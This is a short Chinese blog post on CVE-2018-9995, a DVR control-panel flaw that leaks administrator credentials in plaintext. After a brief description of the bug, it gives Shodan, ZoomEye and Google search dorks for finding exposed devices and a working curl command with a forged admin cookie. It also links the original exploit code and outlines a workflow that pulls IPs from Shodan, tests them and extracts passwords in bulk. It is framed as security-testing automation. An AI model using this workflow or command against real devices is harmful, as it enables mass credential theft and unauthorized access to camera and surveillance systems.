一、漏洞介绍
DVR,全称为Digital Video Recorder(硬盘录像机),即数字视频录像机,相对于传统的模拟摄像录像机,采用硬盘录像,故常常被称为硬盘录像机,也被称为DVR。它是一套进行图像计算存储处理的计算机系统,具有对图像/语音和动态帧等进行长时间录像、录音、远程监视和控制的功能,DVR集合了录像机、画面分割器、云台镜头控制、报警控制、网络传输等五种功能于一身,用一台设备就能取代模拟监控系统一大堆设备的功能。
最初由阿根廷研究员发现,通过使用“Cookie: uid = admin”的Cookie标头来访问特定DVR的控制面板,DVR将以明文形式响应设备的管理员凭证。并且在GitHub发布了相关验证说明,最开始研究员发现CVE-2018-9995仅影响由TBK制造的DVR设备,但接下来发现,由其他供应商的产品同样受到影响,包括但不限于:Novo、cenova、qseepulnix、night owl。
二、漏洞利用
Shodan/zoomeye: “GNU rsp/1.0” 或 “/login.rsp”
Google hacking : intitle:”DVR Logion”
1、利用代码
curl "http://IP:/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"
原作者poc地址:https://github.com/ezelf/CVE-2018-9995_dvr_credentials,
exp:https://github.com/cclauss
2、改写poc和exp
思路:通过分析可以发现存在该漏洞的基本上url链接中存在该关键词“/login.rsp”或者“GNU rsp/1.0”,可以利用python调用shodan或者zoomeye进行对该服务的IP地址批量获取,然后通过poc筛选出获得的IP地址列表中存在该漏洞的IP,另存到ip.txt中,便可实现批量扫描漏洞。
实现:这里只放效果图,源代码移步:
脚本运行效果,1,从shodan中根据关键词“rsp/1.0”获取ip
2.从ip列表中利用poc验证,另保存为result.txt为存在漏洞的ip
3.exp得出密码
启发:根据这个漏洞,安全测试人员可以根据每个漏洞的特征,去编写各个漏洞的自动化扫描工具,积少成多,可以很大的提高复用性,提高工作效率。